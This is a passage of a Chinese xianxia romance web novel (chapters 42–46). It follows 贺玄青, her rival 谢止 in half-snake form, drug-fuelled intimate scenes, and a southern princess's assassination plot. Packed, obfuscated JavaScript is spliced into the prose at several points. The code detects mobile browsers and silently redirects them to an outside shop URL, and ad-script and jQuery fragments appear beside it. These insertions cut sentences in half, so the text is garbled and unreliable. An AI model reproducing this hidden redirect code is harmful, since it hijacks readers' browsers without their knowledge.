青蛇避开了她的触碰,毒牙警告般又贴上了猎物的脖颈,他似乎意识到自己现在的大小无法制服怀中猎物,在贺玄青的抗议声中,他骤然放大了身形。 再好的衣料也经不住蛇的来回翻腾,彻底成了碎布片。那条蛇对自己的体重显然没有一个清晰的认知,贺玄青被这骤然变大的重量压得失去重心,往后摔了下去。 咚!贺玄青的头重重磕在了床头。那条蛇却像是没受到什么影响,只是晃了晃自己看着就不大的脑仁,又缓慢爬了起来。 缠绕着贺玄青的蛇躯缓缓收紧,窒息感自不断失去空气的胸腔中传来,五脏六腑似乎都要被挤压破裂。这条蛇遵循着本能,侵占着怀中人的每一寸气息,想要将猎物彻底绞杀在自己怀里。 “滚……下去。” 贺玄青额头跳着青筋,她可不想就这样死在这里,旁的不说,若是让那些宫人瞧见屋中的状况,得传出些多么离谱的流言来。 锁骨前的宝石奋力散着微光,将那条蛇的獠牙硬生生烫得缩回去,很在乎身后名的贺大宫主手指用力,将那条硕大的蛇头拽离了身体。 “谢止!松开。” 她沉下脸色,企图与那双淡青色竖瞳对峙。 噗。 那条蛇慢悠悠吐出芯子,顺着她的脸颊舔上了她的唇。 没有必要同一个听不懂人话的畜生计较。 谢止受蛇性影响太深,行事基本都靠本能,贺玄青深吸一口气,她死死抿着嘴巴没让那条蛇的目的得逞,指尖则是下意识在那条蛇躯上翻找起来。 鳞片顺滑,紧密排布,贺玄青没有看见那些人形时狰狞的伤痕。 身体被贺玄青揉搓得十分顺心,那条蛇缓缓松了桎梏,只留蛇尾依旧缠绕着猎物,大部分蛇身却开始在贺玄青的寝殿内搜寻起来。 这条蛇似乎将茗惜殿认定为了自己的巢穴,正在审视着这属于自己的领地,以及驱赶不属于自己这片领地上的东西。 一本灰蒙蒙的书册很快便被翻找了出来。 若书被蛇瞳审视,盯得毛骨悚然,弱弱抬了抬自己的书页:【嗨。】 那条蛇没有理睬,属于兽类的眼瞳暴虐警惕,似乎是在观察着要如何将猎物撕成碎片。 虽然经常在背后偷偷和贺玄青讨论谢止,但面对面和大蛇对峙是另外一回事,它吓得花容失色,情急之下口不择言,大喊了一句:【爹!】 青蛇动作停了,原先警惕的眼神变成了看傻子一样的眼神。 被蠢蛇当傻子是一件很屈辱的事情,但若书也顾不得了,她转向贺玄青,欲哭无泪:【娘啊……】 一本书册被蛇尾卷起,若书只觉得眼前一花,再睁眼时已经被重重摔在了门外。 【吱!】 …… 没空去管那本可怜的书册,贺玄青上上下下探索着每一片鳞片,没瞧见什么端倪。 但谢止的伤势绝对不轻。 他这类型的内修最怕的就是天道反噬。这样的伤痕无法被丹药治愈,只能依靠身体自行愈合。 想起那只形如白骨的手掌,贺玄青死死 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13409224|134620||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 皱紧了眉。 “变回去。”贺玄青厉声命令道。 青蛇还想再纠缠,但贺玄青已然掐住了他的七寸,语调森然。 “变、回、去。” 谢止终究还是化为了人形。 但只化了一半。 男子上半身光洁如玉,下半身却长着一条颇为诡异的蛇尾,他似乎对纠缠贺玄青这件事有所执念,哪怕被要求化为人形也一定要留条尾巴缠绕住贺玄青。 眼前的谢止好像是某些山海经里才会记录的精怪,好在贺玄青早就习惯了。 她第一时间就去瞥谢止的手臂。 绯色早就攀附在了谢止的肌肤之上,这条蛇处处都透着股倦懒和春情。多年阁主生活养尊处优,谢止的皮肤细腻犹如羊脂,指节处虽留有薄茧,但也只是绘符、抚琴时留下,不仅不显得粗糙反而更加风雅。 但此时,那只素来抚琴作画的手掌却没有肌肤覆盖,森然白骨裸露在外。 红颜枯骨,触目惊心。 没有变回去。 贺玄青也不知是何心情,她只觉得脑袋懵了一下,再反应过来的时候她已经掐上了谢止的脖颈:“你早说想死,不如让本宫亲手送你一程,当初何必再费心救你。” “你的命是本宫救下的,你的血你的骨头,乃至你的命,都得是本宫的东西!” 贺玄青气得脑袋嗡嗡,恨不得一拳狠狠打醒自己这位死对头,但谢止浑身上下伤痕累累,愣是没有给贺宫主发挥的地方。 贺玄青勉强放平语调:“你知错了吗?” “错、错……”谢止喃喃着。 嘶嘶吐信声在谢止的不断纠正下慢慢消失,最终属于男子的清越音声响起。 谢止面容昳丽,一抹艳红浮在他脸侧,更显得其人美如冠玉,艳绝无双,“惩、惩罚我吧。” 美色惑人,但贺玄青却连一点欣赏美人的心思都没有。 察觉到什么异样感的贺玄青浑身僵硬紧绷,难以置信地低下头。 十六岁的清禾公主初见那条蛇尾时只见识到了色彩斑斓的鳞片,觉得世间瑰丽都化在了这条蛇尾之上,美得不似人间之物。 多年后的贺宫主发现了那条蛇尾下藏着的另一个秘密,但她的反应和小时候截然不同。 贺大宫主在瞧见的刹那就变了脸色—— “滚,这个绝对不行。” 疯、疯了吧。 43. 第 43 章 “滚,不行。这个绝对不能接受。” “谢止,我警告你,你要再过来一步,我真的要砍你了!” 贺玄青积威在外,是个在众人眼中足以让神鬼退避的好煞星。可这条蛇偏偏不理不顾,还死皮赖脸缠上了她。 但在这种情景下,再怎么听都显得有些色厉内荏。 橙芒亮起又熄灭,贺玄青攥紧了拳头,最后还是没有落在谢止遍体鳞伤的躯体上。 心软的代价是很惨痛的。 被那条蛇尾缠绕上的贺玄青如是想。 漂亮的蛇尾如同美玉,冰凉的触感在缠绕上身躯的时候带给人一种别样的异样感。挤压感层层叠叠,将她逼得喘不过气。 抛开那些成见不谈,贺玄青不得不承认谢止此人单论皮相能算得上是个美人胚子,但眼下,再好的皮相都无法发挥其效用——这条长着蛇尾,蛇瞳,甚至就连口舌都是蛇类形状的谢止无论是谁来看都只能叹一句鬼东西。 “松开,松……滚。” 贺玄青咬紧牙关,避开某条蛇的试探,一面用手奋力推拒这条还妄图转移注意的蛇躯。 毒牙若有若无抵在她颈间,这种生命遭受威胁的感受反倒让贺玄青有些心猿意马。 那剧情为男主准备的情药居然恐怖如斯。 竭力遮掩着自己的情绪,她原本就紧绷的身躯此时更是僵成了块坚硬的石头。贺玄青绝对不会承认是自己出了问题。 “不、不行。” 贺玄青给自己找了个理由,“……明日使臣来访,还要开宴。” “对,最近使臣进京,各方探子细作都活跃起来,还要加强盘查,地方官员改良税制,需要在商议后定点执行,还有……” 提了个头接下来的事情就再也停不下来,开始还只是在找借口,在说完这一两件事之后贺玄青居然真的被转移了注意力,开始思索起来,“南疆既然在京城留下那么多后手,未必没在各宗门安插探子眼线,你怎么看?” 都到了这时候能怎么看。 那条小蛇不耐烦地挺了挺身。 贺玄青骤然噤了声。 她有些难以置信地看着谢止,似是不明白自己的对头怎会做出如此、如此孟浪的举措。 谢止显然没有让她躲避缓和的意思,狭长的漂亮眼眸微微眯起,死死锁定着贺玄青:“为什么?你不是也很喜欢吗?” “……该死的。”被死对头挑破心思,贺玄青咬牙切齿,脸颊彻底红透了。 方才贺玄青虽然极快地掩饰住了自己,但谢止实在太敏锐,那一瞬间的气息变化就已然被他捕捉。 虽然剧情是只限男主触发的,但效果是却是统一的。当初的贺玄青可是实打实也踏入了那片花海,虽在事后及时服用了解毒丹,但这东西不愧是供给男主的金手指,哪怕服用解毒丹也无法缓解,药力至今没有减退。 原作里被药力感染的男主当场就不可自持就地与两位女修春风一度,能忍耐到此时只露出些微端倪,算得上是贺宫主精神坚毅,耐力非常。 “贺玄青。”蛇躯卷起又松开,谢止的声音中透着些微呢喃,“你为何要忍耐呢?” 这还用问吗? 人再怎样还是要讲究礼义廉耻,伦理纲常。 至少不能…… 至少不该…… 想起刚才看见的那诡异物件,贺玄青面色铁青,硬生生吞回了想要脱口而出的话。 更何况,上一次这样做是为了让谢止不得不与自己合谋,目的既然已经达成,那就已经没了必须要这样做的理由。 蛇尾不断翻卷着,青色蛇瞳一直锁定着自己的方向,像是在等一个答案。 贺玄青却抿着唇不肯回答,她微微侧过头,有些狼狈地避开了他过分锐利的目光。 “借口这东西随便找找不就有了。”谢止在这方面表现出了极大的体贴,甚至主动帮贺玄青思考起来,“找个人解情毒而已,对贺宫主而言是我也好,还是旁的什么人也罢,又有何所谓。” 谢止唇角微勾,明明在笑,可那笑容中却带了几分凉薄冷意。 “贺玄青,你要实在不想,就权当不是我。” …… 不当成他,那当成谁? 他这几句话说得古怪极了,贺玄青压根没听明白。 但谢止这样说一定有他的深意,没听明白的贺玄青认真询问:“当成摘星阁阁主吗?” 谢止沉默了下来。 贺玄青居然自洽了起来:“你想重定仙盟与朝堂的盟约?还是说你……” 肩头被重重咬了一下,蛇的牙齿较人的牙齿要尖锐许多,贺玄青疼得倒吸一口冷气,只觉得这条蛇的心思实在难测:“你……” 好像有什么柔软又坚韧的东西牢牢堵住了她的唇,谢止似乎打定主意不再让她开口。 但那是什么? “唔……” 舌根被那东西压到发麻的程度,想咬却压根无法使上力气。 有东西划过白瓷,带了些冰凉感受让贺玄青的身躯微微颤抖着,她忍不住伸出手,企图将那物自口中拉扯下来。 但尖锐齿尖自朱果上狠狠碾过。贺玄青的指尖骤然紧绷,在那物上重重划了一道。 那东西毫发无伤,就连划痕都未曾留下半点。 贺玄青明白那东西是什么了——是谢止的尾尖。 谢止在化为蛇的时候身躯总是异常坚韧,贺玄青少时便做过尝试,但也只在这些鳞片还未曾长成的时候拔下过一片。 如今随着谢止修为越发精进,他的身躯只会比以前更加坚固。会导致巫族虚弱的天相还需再间隔百年,事到如今,可以说只要谢止本人不作死,没有人能伤得了他。 意识到这一点的贺玄青莫名松了口气。 谢止是她的对头,她的妒忌对象,她一生之敌,仇恨怨憎延续近二十年, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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上三教下九流,各有各的手段活法,想当哨子,就得有不被人所知且源源不断的八卦情报。偶尔碰上营生不好的时候,他们会挑选些看上去就是有钱人家的小院,爬上屋顶碰碰运气。 探听不到大不了喂一晚上的蚊子,但若是探听到了什么足以卖得上价的新鲜消息,他们就能够从中大捞上一笔。 这就是桩无本万利的买卖,被人发现也就是被赶出去,他们犯下的罪行不重,就算报了官也关不了几天。更何况那些豪绅贵族害怕自己将他们的秘密泄露出去,往往都会选择花钱摆平。 今日也是如此。 周围肥户都被宰得差不多了,哨子们于是就将主意打到了这户人家头上。 毕竟这户小院虽然地处偏僻,环境清幽,但哨子们蹲过几天的点,知道这小院的主人是个娇滴滴的女人。 正经人谁住这鸟不拉屎的地方,出门还要拿面纱遮掩,哨子判断,这女人保不齐就是某位富商或是高官将养在外头的情妇。 正因如此,才不敢示人,非常合理。 哨子美滋滋想,瞒得那样紧张,若是 被生生拽下瓦的时候,那哨子还在坐着一夜暴富的荒唐美梦。他还在等着这些家丁在斥骂他一顿后将他放回,熟料一把刀直接架在了他的脖子上。 44. 第 44 章 “说。”女人的声音冷得像是二月寒霜,“是何人指派?” 哪里有人指派,天衍人口千千万,这些氓流街巷随处可见。他们做这些不入流的营生,无非是想讨一口饭钱。 谁成想会碰到这样的硬茬。 那哨子鼻青脸肿蹲在墙角,看着那刀狠狠落下,顷刻间,他那几个兄弟就已然没了生息。 血浆四溅,哨子瞪大了眼睛。 杀,杀人了。 这可是京城,天子脚下,他们怎么,怎么敢…… 哨子脑子一片空白,等他意识到发生了什么的时候,他早就结结巴巴,将自己的动机以及前因后果全都一股脑吐露了出来。 市坊就爱听些八卦闲谈,他能知晓的情报也多半零碎,小到像东家鸡下了蛋,西家人偷了把米……他知道得最多的,就是某位世子有什么隐疾,亦或是哪家丈夫出轨了情人。 但这些都不是这家女主人想要听到的。 遥光公主的指尖点在了桌案上,周围人刹那间便明白了他的意思,又将到架在了那哨子的脖颈上。 哨子脑子里有灵光一闪而过:“我,我还知道一个消息!” 他大声道:“摘星阁阁主谢止身怀巫血,为世人不容。” 遥光打了个哈欠,只觉得无聊。当时摘星阁那场火光映透了半边天,在场只要是长眼睛的都能看见。 要是能借传言扳倒谢止自然是好事,但谢止的信众遍布天衍,那些人对此人近乎盲目的推崇信任,想要策反需要花费太大精力,而且这其实和他们此行的目的没多大关系。 她百无聊赖想要离开,哨子顾念自己的性命,在她身后急切喊道:“那是假的!” 遥光回过头,漂亮的眼眸微微眯起。 “是贺宫主。”哨子眼看遥光回头,大喜,“是贺宫主看中了谢阁主容貌,才往外传的消息,目的、目的是想要让谢阁主身败名裂,好将他收为、收为奴隶。” 说奴隶是风雅一点的用词,京城那些权贵各个手脏心更脏。贺玄青不随大流是因为她先前修的是无情道,如今她没了限制又压抑太久,会做出什么事来还真的无法预测。 遥光脚步停了,她也没料想到自己会听到这种消息,有些难以相信:“当真?” “千真万确。”哨子振振有词,“我也是机缘巧合,听那些大人物聊天时无意间听见的。” 风波宫的墙头他们肯定是不敢扒的,但在风波宫外面游荡听听闲谈并不会触犯律法。 害怕遥光不信,哨子举出了证据:“摘星阁受袭当日,贺宫主也出现在那里,说明她早就知情。以风波宫的能力,贺宫主若真想帮助摘星阁,肯定事前就将其严密保护起来,又怎会坐视这件事发生,再假惺惺孤身一人救援。” “说是救援,但中间发生了什么鬼才知道,至少在这之后风波宫上门砸了场子,听人说在贺宫主离开当日,他们二人吵了一架,还差点打了起来。” 遥光若有所思:“你这桩消息,还有多少人知道?” “没、小的还没同人说过。”哨子舔着脸去瞧遥光的表情,满脸谄媚,“这还是头一回同您说。” “把这件事传扬出去。”遥光在短暂沉思后做出了决定,“最好闹到人尽皆知的地步。” “好。”哨子眼都没眨一口应下,“一定给您办得妥妥当当的。” 贺宫主他是万不敢招惹的,左右先应下来,逃出去再说。他一个居无定所的流民,只要走出去就能让这些人再也找不到他的踪迹。 哨子还在心中打着盘算,就感觉到后脑勺一痛,彻底失了生机。 没有理会倒在地上失去生息的尸体,遥光重复了自己刚才话:“把这件事传出去,能做到吗?” 下属单膝跪地,有些为难:“最近风口太紧,我们很难行动。” 京城他们原有的据点商铺被不知打哪儿来的金羽卫以各种理由查封的查封,打砸的打砸,以至于这些天他们南疆人寸步难行。 “旁的也就罢了,这些人居然封我们是为了整顿市容好迎公主入京。”他攥紧了拳头,“要欢迎南疆的人凭什么砸我南疆的铺子,天衍人实在欺人太甚。” “这有什么好计较的。”遥光不是很在乎,涂着豆蔻的手指点了点桌案,“同他们说我本就在京城?” 下属皱着眉,显然没有遥光豁达:“这次风雪涧潜进去的兄弟都没能出来,绪冥那小子也不知所踪,公主,绪冥再如何也是天衍人,天衍人终究不可信啊。” 微风掀开帷幔,露出窗外皎白如流水般的月光。 遥光缓步走到窗边,举起一尊盛着酒水的白瓷瓶,将之举到嘴边:“绪郎的事,不用你们操心。” 这种酒是天衍民间常见的酒,名叫秋曲,因为酿制这种酒的稻米每年秋季才收一次,故有此名。 这种精稻加入酒曲酿成的酒味清甜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13495812|134620||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中带了果香,遥光喝过一次就念念不忘,来天衍的每一日都要饮上几盅。 这样的酒南疆没有,这样的稻米南疆也没有,天衍尽管有风雪涧这个潜在威胁,但肥田沃土、物阜民丰。自天衍出了贺玄青之后,就连那仅有的威胁也没了。 天衍怎能把所有好处都占尽呢。 遥光是真的有些嫉妒这些天衍人。 要是能有好米好粮,她哪里需要背井离乡。 遥光举起这杯酒,一饮而尽:“绪冥再如何,也是贺玄青最亲近的弟子,掌握着天衍朝廷的秘密。他的身份对我们而言至关重要,在临行前,我同他交代过,若是必要时候,可以牺牲那几个南疆的弟兄保全自己。” 下属还有些不服:“可他们死在那地方,尸体都收不回来,天衍人杀了我们的将士,就该杀回去……” “是要血债血偿,但不是现在。”遥光直接打断了他的话:“狼吃羊,人杀狼,天经地义的事,我们这次进京的目的是什么,你忘了吗?” 下属看着面前的公主,噤了声。 遥光不远千里,从南疆赶来京城只为了做这一件事—— 杀死贺玄青。 贺玄青一死,天衍内讧起来,南疆驻守在关外的十万兵马便可入关。 “没有贺玄青,天衍就是盘散沙,到时候天衍都被我们把握在手里,还需要考虑如何报仇吗?” 遥光叹了一口气,“至于那些人,都是我南疆的好儿郎,既然无法收敛尸骨,那……” 她对着月华,往地上浇了一杯酒。 带兵打仗是阿玛阿哥们的事。她所能做的唯一一件事,就是趁着这次随使团入京的机会彻底将这里的局势搅浑。 牺牲是必要的,如果此次不能成功,她也会死去。 “我死或她死,大家各凭本事。”遥光对着地下酒液倒映出的自己身影,视线微冷,“就看看谁先下地狱,贺玄青。” …… 空气中散着某种古怪且浓烈的气息,谢止睁开眼,被浑身上下传来的酸痛感逼得皱起了眉。 混乱。 天道反噬,头晕,满山洞的红花,头晕,蛇躯,微微泛红的眼角,尖叫,是贺玄青…… 伤得最重的左手已经被妥善包扎干净,但谢止的脸色却越发惨白,他下意识寻觅起身边的身影。 没有人。 整座大殿空空如也,贺玄青不在茗惜殿中。 45. 第 45 章 以贺玄青现在的身份,她不想见的人,那这人哪怕再想见贺宫主,那都是见不到的。 一位穿着青衣绣鹌鹑纹的官员,此时正蹲在风波宫门口石阶上愁眉苦脸,知道今日怕也是见不成了。 现在天还没黑透,风波宫那些宫人也还未下锁,抱着最后一丝希望,那青衣官员从袖口掏出块干粮,就维持着这个坐在石阶上的姿势啃了起来。 他自贺玄青出关后便开始蹲守,至今已足足蹲了一月有余。 他的官阶从九品,在京城这种拿块转头往下砸都能砸中尚书侍郎地方只能算是个排不上资辈的小官,他之所以想要见贺玄青,是因为他还有一个身份。 他是天衍守旧派的从众之一。 天衍朝中各官各有拥弊,其中以守旧派与维新派为主。守旧派主和,维新派主战,两大派系在朝中战成一片、打得如火如荼。自守旧派主要人物青宰相死后,新任宰相姜齐成了革新派的领军人物,革新派在朝中占了上风,更有趁势的官员倒戈入了维新派。加入维新派的官员多了,守旧派自然就变得弱势起来。这些老臣十分焦急,一致认为是自己这边缺少了主心骨,还将主意打到了贺玄青的头上。 要晓得贺玄青可是从来不参与朝中这些纷争的。如何说服拉拢就显得格外重要,那些守旧派的老臣思来想去,居然先派他来打先锋。 只因为他出身礼部,而他恰好,被选中负责这次接见南疆使臣的庶务。 刚从地方调任京城的曹旺叹了一口气,心想现在局势特殊,就连他一个小小礼部司务,到现在都能成个炙手可热的人物。 如何求见贺玄青的话术他都已想好了,奈何贺宫主实在是日理万机,他没能蹲到贺宫主出去的时机,而就凭他的阶位,是进不去风波宫的。 若说嫌他官职小,倒也未必,比他官职更小的官员,曹旺也不是没见过。那些人无论是文臣还是武将来的时候乌泱泱一大群,走的时候各个红光满面,也没见什么人拦着,偏偏到了他来,那些宫人就开始用各种借口推脱搪塞,愣是不肯让他进门。 事情再忙也没有这个忙法,把其他理由都排除,那就只剩下贺玄青不想见他这一个理由。也对,浸淫天衍朝政那么多年,维新派和守旧派之间的争斗,贺宫主心里未必不清楚,他被屡屡拒之门外,就已经体现了贺玄青的态度。 但哪怕如此,他依旧得舔着脸争取,毕竟—— “当年党争那么激烈,贺宫主都能以一己之力扶持陛下称帝,到了这时候,要是能让贺宫主看上,守旧派何愁没有明天。” 曹旺蹲在角落给自己加油打气,心中构想着自己立下功劳,成为朝廷肱骨之臣的未来,奈何现实冷冰冰,见不着贺玄青,他一个小小文官,莫说扛过那些宫人阻拦了,他就连风波宫那算不上高的院墙都翻不过去。 曹旺就怀揣着这样的忐忑希望,一直等到风波宫的议事堂灭了灯,宫人落上了锁。自己啃完了手上最后一口干粮,曹旺打算今日到此为止,明日再来。 正在此时,他瞧见个男子自风波宫的墙头翻了出来,霎时间瞪大了眼睛。 嚯,同道中人。 眼前这人做了他不敢做的事情,不过脸色差劲,神态落寞,看着也不像是成功了的样子,曹旺很是热情地迎了上去,恭敬行礼:“这位公子,您也没见着吗?” 那人臭着一张脸,曹旺没从他的打扮中看出官位,才用的这样称呼,他操着一口乡音,礼数周全,看态度还算质朴。夜色下,曹旺没认出这位公子的身份。 毕竟他才从地方调任,自家礼部任职的官员都没认齐全,更不用说其他地方。 男人视线落在他的肩头,森寒视线被夜色遮挡:“谁?” “贺宫主啊。”曹旺说得理直气壮,“来这风波宫的,谁不是为了见贺宫主。您辛辛苦苦翻墙入宫,不也是为了见那位大人吗?” 男人没有言语,曹旺当他是默认。 许是这日日等候太过煎熬,好容易碰见个同病相怜的,曹旺忍不住多劝慰了几句:“贺宫主不想见,咱们再想也是见不着的。” 有淡淡杀意萦绕在身周,曹旺没有察觉:“其实小弟我也在门口蹲了月余,连她的面都没见着,那又能怪谁,贺玄青没选咱们啊。” “你是谁?” 说了老半天连自己都没有介绍,曹旺连忙行礼:“鄙人曹旺,是河府人,现任礼部司务一职。” 男人微微颔首,话题本该就此结束,但曹旺却不知为何,有种冲动自他心底油然而生,逼着他将自己内心的真实想法吐露给面前这个本该初次相识的男人。 “这些年蛮人每逢过冬都会来我天衍抢掠,是南疆与天衍关系紧张的缘故,我们认为这次南疆人入京就是和谈的契机,但维新派偏不同意,那些人实在太过激进,主战不主和。但若真依照他们的要求发动战役,劳命伤财不说,天衍本就因重开登云路一事损失了不少人力物力,若是再起战事,怕是会吃不消。” “只可惜陛下年轻尚青,膝下没有子嗣,宫中也没什么适龄还未嫁娶的姐妹,否则完全可以送位公主与南疆和亲,南疆要粮就给粮,要金银就给金银,这样既解决了纷争,两国也可就此化干戈为玉帛,我们也不必每年都要担忧南蛮会不会再来骚扰。大家和和气气的,不好吗?” “这都是老祖宗留下来的规矩,可惜贺玄青不选我们,非要选那维新派的废物当丞相,但这也没有关系,贺宫主只是被一时蒙蔽了感知,只要我们能证明我们的可行之处,贺玄青就会选我们了!” 铮—— 乌云遮掩了月色,蝉鸣鸟叫全都在瞬间化为寂静,飞鸟悬停在空中,时间被暂停在了这一刻,远处刚落锁回宫的宫人动作停了,被指尖勾着的钥匙悬在半空,就连流动的空气都凝固在了这些人身周。 谢阁主绕过面前张着嘴的曹旺,背着手缓缓拾阶而下,于是风波宫乃至满天星辰都被他甩在脑后。 倘若他证明自己,贺玄青会选择他吗? 不会。 贺玄青不会选择他,一次也不会。 而他, 早就知晓。 谢阁主一直走到了转角处,而在他的身影消失的那一刹,定住的时间猝然重新开始流动,把玩钥匙的宫人手中钥匙发出叮当脆响,有飞鸟自月下飞过,虫鸣鸟叫此起彼伏,更显深夜寂静。曹旺有些茫然地闭上嘴巴,想不通自己为何会出现在此处。 好像忘记了什么。 曹旺有些迷茫地摸了摸脑袋,想不到干脆没有继续再想。 自己刚上任,明日还有早朝,还是速速回家去吧。 ....... 【天啊,那个时候的你就像是被拔了尾巴毛。】 风波宫主殿内,若书纸面翻动着,一只漂亮的小红鸟跃然于纸上,仰喙怒喝的样子却因圆滚滚的身材显不出威严,反倒透着些许俏皮可爱,明明这只鸟与贺玄青毫不相干,偏偏能让人瞧出贺玄青的影子。 而后它又硬生生在贺玄青暗含警告的目光下把这幅画默默收了回去。 【总而言之,你还是不要生他的气了。】若书佯装方才什么都没有发生,劝解起了贺玄青,【他有巫族之身,哪怕遭受天道反噬,也不会那么容易死的。】 眼看贺玄青并不言语,若书趁热打铁,耐心道:【至少这个方面,他是有分寸的,对不对。】 “分寸?”贺玄青冷笑道,“他想成一个残废吗?” 那些伎俩自然瞒不过贺宫主,她说得一点错都没有,于是若书沉默下来。 身为知晓天机之人却 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 插手改变结局,天道只废他一手,算是仁慈。也是谢阁主精心计算后愿意付出的代价。 但…… “绪冥不过只是丢了条命,他却要失去一只手。”贺玄青显然并不这样想,她怒气早就逼得那些宫人远远退开了大殿,就连若书都忍不住掩了掩书页,“他是傻子吗?” “眼睛,手掌,下次又会是什么?”贺玄青握着拳,刹那间无数往事自她心中浮现,让她忍不住升起某些更糟糕的念头。 【这些事你也没有和他说啊。】若书顺着毛,【他又不晓得,所以他才会这样做。】 哪怕是通晓天机的谋士也会有卜算不到的地方,就比如谢止能看出绪冥受天道庇护,杀了他之后必会遭反噬,但他并不会知道这个世界就是由绪冥为中心展开的,若是现在杀他,那这个世界也将不复存在。 但单是绪冥被庇护这一点就足以让谢止有所顾忌,那个会日日沐浴焚香,恨不得将护身符串成项链戴在脖子上的死对头,理应比她更知道什么叫趋吉避凶见微知著。 可他还是这样做了。甚至做得毫不犹豫一点后手都没留,若是贺玄青再晚一步,谁也不知道会有什么下场。 贺玄青轻声发问:“他为什么要做这种事,他就那样憎恨绪冥吗?” 憎恶一个人,所以要报复杀掉。逻辑很通顺清晰,但贺玄青自己也清楚答案并不是这个。 且不说这两人前世并没有什么交集,单单说谢止这个人,贺玄青很了解他。谢止虽然心胸狭隘而且瑕疵必报,但倘若报复这件事会对他的性命造成威胁,那他绝对会转身就跑。 正因为贺玄青了解谢止的个性,所以她一直对他很是放心。谋士中能善终的没有几个,那些人本是局外人,却为家国或为同族踏入局中,他们明知不可为却偏要逆天而行,最后终因入局而凄惨死去。 但谢止不同,他没有这些情怀和道德,他因身怀巫血之事自小便被人族排斥,到现在也对人族没什么归属感,更不会在乎这天下是谁执掌的天下。能知晓天机对他而言不是负担,他反倒能借此避开祸患,哪怕身在乱世依旧能够明哲保身。 她会利用他的能力,但她不会杀死他。待一切结束之后,他依旧可以去当他的摘星阁阁主,在和平盛世继续清修,或许百年后,他也能破碎宗师之境,斩三尸而飞升。 “我给他指明了前路,他无需再像前世那样苦心经营也能高枕无忧,他为什么非要一次又一次地插手我的事情之中?” 【不知道,可能是因为蛇蛇喜欢鸟鸟吧。】看着面前已经听不进它的话兀自沉思的小小鸟,若书有些怜爱地伸出书页拍了拍她的后背,【没关系,你们之间还会有很长很长的时间,有什么事情想不明白的,都可以慢慢想。】 …… 天衍一处偏僻走道旁。 有辆马车缓缓行驶在林荫小道内,马蹄滴滴答答伴着车辙吱嘎声响,驾车的摘星阁小弟子埋着脑袋专心驾车,根本不敢发出一点声音,生怕引起车内人的注意。 阁主要去哪里?不知道呢。 现在这个氛围谁敢去问,不要命啦。 虽然不明白阁主为何如此生气,看人脸色本事小弟子还是有的,本着能拖一会儿是一会儿的决心,愣是绕了近半个时辰还未下山。 但再这么拖延下去怕也会讨阁主嫌恶,小弟子深吸一口气,暗暗给自己打气后终于决定问问阁主。 “阁、阁主,您要去哪里……”他回过头,却瞧见原本平稳行驶的马车上,突兀多出来了个女人。 是风波宫宫主! 她趴他们摘星阁的马车上做什么? 小弟子惊慌失措,但女人将一只手抵在唇边,生生止住了他即将脱口而出的惊呼。 贺玄青微微颔首:“去摘星阁。” 46. 第 46 章 窗外蝉鸣阵阵,谢止独自一人坐在马车上,日光透过窗边纱幔打在他的侧脸,落下一片斑驳痕迹。 谢阁主就这样长长久久地维持着这个端坐的姿势,一动不动。 良久后,他终于低下了头。 他的衣冠齐整,从束好的冠发到毫无褶皱的衣摆,完全是天衍贵族们会推崇的君子打扮。配上他清冷疏离的气度,更显出尘脱俗。 但此时,这位谦谦君子,出尘仙君手指间却缠绕着一小撮头发。 这是贺玄青的头发。 前几日实在太过混乱,这头发或许是在某个时刻缠上了他的指尖,又被他这样带了出来。 这缕墨发松松缠绕在他的指尖,稍微走几步便能自己掉落消失,但谢止却不知为何将之攥在了掌心,还一直保留到了现在。 谢止低下头,冷淡地瞥着手中多出的那缕头发。 丢掉吧。 但他的手指却不由自主地上移,而后割断了自己的一缕墨发。 两缕墨发交织在一起,在谢止的手中变为了两枚精致小巧的圆环。 天衍有这样的传统,在新婚之时,新郎新娘便会割下一缕头发,相互交换,编成环戴在手上,预示二人结发为夫妻,期许他们恩恩爱爱,婚姻能够长长久久。 而现在,将这圆环戴在小指上的,只有他一人。 “呵……” 谢止静对着手指上的圆环,怔愣片刻后勾起唇角,露出了个极尽凉薄的冷笑。 有窸窸窣窣声自窗外响起,那声响不大,但谢止脸色骤变,他的指尖翻转握紧,将那戒指藏进了掌心。 叩叩。 有什么东西在敲他的窗户。 趴人马车上居然还懂得在进来前先敲窗户,来人有礼貌,但显然不多。 那叩窗声由短及长,还没过多久就变得急促起来,显然已开始不耐烦。 想都不用想就知道来人是谁,谢止的声音冷硬到了极致。 “出去。” 刺啦—— 要是贺宫主能听得懂人话那就不是贺玄青了,她撕开纱帘,在谢阁主杀人般的瞪视目光下手扶窗框,将自己硬挤了进去。 “嗨。” …… 也不知外头那驾车的小弟子从贺玄青的话语中解读出了什么含义,马车速度飞快疾驰过山涧,没了挡风的纱帘,山风透着洞开的窗框往车里呼呼灌着冷风。 贺宫主挨在谢止旁边坐下,二人一时间相对无言。 贺玄青咳了咳,主动打破沉闷的气氛:“你要去哪里?” “与你有什么关系。” 贺玄青磨了磨后槽牙,坐回到了原处。 他们二人之间像这样针锋相对也不是一日两日了,贺玄青脑子一转便能想出千万种回怼的方法。 